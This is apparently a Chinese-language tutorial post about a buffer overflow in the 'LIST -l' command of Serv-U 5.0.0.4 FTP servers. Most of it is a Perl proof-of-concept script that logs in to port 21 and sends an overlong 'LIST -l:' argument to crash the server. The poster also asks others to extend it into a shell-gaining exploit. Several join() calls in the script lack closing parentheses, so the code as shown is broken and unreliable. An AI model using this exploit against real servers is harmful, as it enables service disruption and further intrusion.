| |
【斑马资讯 教程】前段时间Serv-u3.x/4.x/5.0出现了长文件名溢出! 厂商更新了5.0.0.4,现在国外又出现了5.0.0.4的list -l溢出!
偶测试过了,可以成功的产生溢出,但是作者只给出了溢出代码! 希望哪位牛人能把获得shell的一起写出来!
测试代码如下:#!/usr/bin/perl
use IO::Socket;
$host = "192.168.0.1";
$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "21",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }
print "connected
";
while (<$remote> )
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "USER username
";
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote> )
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = join("", "PASS ", "yourpassword", "
";
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote> )
{
print $_;
if (/230 /)
{
last;
}
}
my $ftp = join ("", "LIST -l:", "A"x(134), "
";
print $remote $ftp;
print $ftp;
sleep(1);
while (<$remote> )
{
print $_;
if (/250 Done/)
{
last;
}
}
close $remote; |
|